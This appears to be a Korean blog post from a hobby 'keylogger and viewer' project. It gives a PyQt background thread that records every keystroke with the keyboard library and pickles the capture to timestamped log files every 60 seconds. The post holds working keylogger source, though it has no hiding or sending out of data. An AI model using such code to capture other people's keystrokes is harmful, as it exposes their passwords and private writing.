반응형
# 백그라운드 쓰레드 구축(레코딩 프로그램에 들어감)
class _record(QtCore.QThread):
def __init__(self,selfs):
super().__init__(selfs)
self._state = False
self.record = []
self.mutex = QtCore.QMutex()
self._time = None
def run(self): # 쓰레드에서 실행될 구문
while True:
self.mutex.lock()
if not self._state:
self.recording()
else:
if time.time() - self._time >= 60: # 60초마다 저장한다
self.recording()
self.mutex.unlock()
def recording(self):
self._state = not self._state
if self._state:
self._start_recording()
else:
self._stop_recording()
def _start_recording(self):
self._time = time.time()
keyboard.start_recording()
def _stop_recording(self):
self.record = keyboard.stop_recording()
self._save()
def _save(self):
if self.record != []:
with open('log/{}'.format(time.strftime('%Y-%m-%d_%H_%M_%S',time.localtime()))
,'wb') as mydata:
pickle.dump(self.record,mydata)
self.record = []
반응형
'Python > Python_Project | 키로거 및 뷰어' 카테고리의 다른 글
keyboard라이브러리 수정 (0) | 2020.05.20 |
---|---|
활성화된 창이름,프로세스 이름 얻어오기 (0) | 2020.05.20 |
디버그 - 기록된 키입력 데이터 확인 (0) | 2020.05.20 |
기획의도에 맞게 각 기능 UI구축 (0) | 2020.05.20 |
기획 (0) | 2020.05.20 |
댓글